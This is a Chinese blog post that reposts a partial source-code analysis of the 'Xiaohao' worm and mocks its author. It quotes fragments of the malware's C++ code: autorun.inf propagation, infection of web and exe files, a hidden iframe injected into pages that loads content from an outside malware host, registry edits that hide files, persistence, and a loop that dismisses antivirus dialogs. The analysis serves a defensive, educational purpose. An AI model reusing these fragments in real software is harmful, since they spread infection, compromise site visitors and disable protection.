夜火博客 个人的碎碎念收集箱

小浩(X14o-H4o)病毒的简单源码分析(不完全研究)

中国龙组上的朋友小汶's blog上看到的,我的C语言是自学的,而且只看了几天~,只能大概看出来每段是干什么的~,没小汶看的透~这里就直接把小汶的分析给搜刮过来了~

                      

2007年08月27日 16:44网上最近炒得火热的 小浩(Xiaohao) 这个木马,在很不经意的情况下,偷到了源代码,以我这个只会 DOS 下简单 C 语言的水平,分析了一下,这个木马实在的不高明,具体详细说来。

首先,是 WormBegin.cpp 这个源码里的:
1 写入 Autorun.inf 文件


BOOL CWormBegin::GRDirctory(CString Path)    //每个盘下加auto
{
char ff[256];
GetModuleFileName(NULL,ff,sizeof(ff));
MyFileName=ff;
CString Data,AutoFile,PathName;
Data="[Autorun] ";
Data+="open=Xiaohao.exe ";
Data+="shellexecute=Xiaohao.exe ";
Data+="shell\Auto\command=Xiaohao.exe ";
AutoFile=Path;
AutoFile+="autorun.inf";
PathName=Path;
PathName+="Xiaohao.exe";
CStdioFile Auto(AutoFile,CFile::modeNoTruncate|CFile::modeWrite|CFile::modeCreate);
Auto.WriteString(Data);
Auto.Close();
if(!CopyFile(MyFileName,PathName,0))
{
     return FALSE;
}
else
{
     SetFileAttributes(PathName,FILE_ATTRIBUTE_HIDDEN);
     SetFileAttributes(AutoFile,FILE_ATTRIBUTE_HIDDEN);
     return TRUE;
}
}
/*作者QQ:********
Blog : Http://Hi.baidu.com/*****
不是我不想写 真正的PE感染..    哎. 可是我的结构化异常处理还没有学.. 郁闷啊 ! 只好写个垃圾virus
欢迎各位大牛. 来指导我    或者是交流
My age:15    - -!*/


评:这位仁兄不知道英文是几级的,目录的英文Directory都能打错。GRDirctory 这种东西可能只能是中国人才能理解吧,哦~~感染目录,中西结合,厉害厉害。

2 再看搜索感染的文件这段:

       if(FileName=="htm" || FileName=="html" || FileName=="asp" || FileName=="aspx" || FileName=="php" || FileName=="jsp")
       {
         Jilu(strPath);
         SetFileAttributes(strPath,FILE_ATTRIBUTE_NORMAL);
         GanRanWeb(strPath);
       }
         if(FileName=="exe")
       {
         if(Fuck.GetFileName()=="xiaohao.exe" || Fuck.GetFileName()=="XiaoHao.exe"
           ||Fuck.GetFileName()=="Xiaohao.exe")
           continue;


能感染的文件类型只有: htm html asp aspx php jsp 和 exe.

评:使用的方法也就是普通历遍模式,没有什么太大的特点。GanRanWeb这么函数可能也只有英文不好的人才能写得出来吧,老外肯定看不懂了。


3 记录被感染和被隐藏的文件

     if(!file.Open("c:\Jilu.txt",CFile::modeNoTruncate|CFile::modeWrite|CFile::modeCreate))
       return 1;  
     file.SeekToEnd();
     file.WriteString(str1);
     file.Close();
     SetFileAttributes("c:\Jilu.txt",FILE_ATTRIBUTE_HIDDEN);


评:我在奇怪了,这个生成一个记录文件,果然作者是英文水平很差的人,LOG 都不会,哦,用拼音的 JILU,实在是厉害。不过,另外你生成一记录的话,我大概就可以根据这个记录,搞定所有被感染的文件了啊,连我去找的时间都不需要了。好玩~~

4 经典的 IFRAME 植入



CString WriteBuf=" <iframe src=http://xiaohao.yona.biz/xiaohao.htm width=0 height=0></iframe>";


评:依然是利用MS的几个漏洞来进行感染,唉&hellip;&hellip;好老套。另外,这么明显的写出地址,估计很快就会和谐掉了吧。

我们接下继续看 XiaohaoDlg.cpp 这个吧:
1 感染盘符的搜索


       if(ss=="A:\")
         continue;
       if(ss=="C:\")
       continue;    //跳过C盘
       if(ss=="d:\")


评:这个条件语句太生硬了吧,如果我盘符有B盘呢??估计会进入死循环了吧。

2 修改注册表不让查看隐藏文件


char lujing[]="SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL";
HKEY hkey;
DWORD Data=0;  
RegOpenKeyEx(HKEY_LOCAL_MACHINE,lujing,0,KEY_ALL_ACCESS,&hkey);
RegSetValueEx(hkey,"CheckedValue",0,REG_DWORD,(CONST BYTE*)&Data,4);
RegCloseKey(hkey);
}


评:这作者真的是不知道路径的英文是PATH啊~~用的方法是修改掉键值。

其它的研究:
1 CLSID方面:


RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Active Setup\Installed Components\{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}"


评:和yksoft一致认定:这个人明显没有研究过COM编程,天下哪有这样的CLSID,活生生的硬插,CLSID格式、用字符都不对

2 对付瑞星的部分:


DWORD WINAPI FuckRising(
             LPVOID lpParameter     // thread data
)
{
while(TRUE)
{
     HWND hWindow;
     char lpClassName[20];
     do
     {
       hWindow = ::GetWindow(GetForegroundWindow(),GW_HWNDFIRST);
       ;;GetClassName(hWindow, lpClassName, 20);
       if(strncmp(lpClassName,"#32770",6)==0)
       {                      
         PostMessage(hWindow, WM_COMMAND,40027,0);
         PostMessage(hWindow, WM_COMMAND,2775,0);
         PostMessage(hWindow, WM_COMMAND,32776,0);
       }
       hWindow = ::GetWindow(hWindow, GW_HWNDNEXT);
     } while(hWindow == 0);

}


评:竟然这次英文没写错。哇,瑞星太厉害了,连他都知道写正确了。果然瑞星还是天下最容易被FXCK掉的杀软啊

3 写系统目录方面


GetModuleFileName(NULL,ff,255);
CopyFile(ff,"c:\windows\system32\exloroe.exe",NULL);


评:这位仁兄真的很强,连系统变量都不去识别,硬生生的往这里写。天啊,如果象我这机器里无WINDOWS目录怎么办,而且C盘没有系统,那会是什么情况发生?

4 修改WINDOWS窗口标题栏


::SetWindowText(hwnd,"已中毒 X14o-H4o's Virus");


评:经典的脑残体啊,我改了,改成了&ldquo;你的Windows已经被和谐&rdquo;
夜火评:这个不应该叫脑残体吧~,这个是黑客专用的写法,玩黑的朋友应该都知道是什么意思,就像我的xloong可以写成X1_0()||6,还不明白的朋友可以去google的黑客专用入口:http://www.google.com/intl/xx-hacker/  和普通的英文入口对比下就知道了~

这些写出来只是简单的研究一下罢了,好坏,我都不做进一步的评论了,点到为止。
大家可以根据我这些部分代码,研究一下这东西倒底怎么工作的,好在日后遇到此类玩意,怎么去解决它。


总体来说,这个程序是活活的将熊猫的DELPHI,仿作成VC的作品

留言列表
发表评论
来宾的头像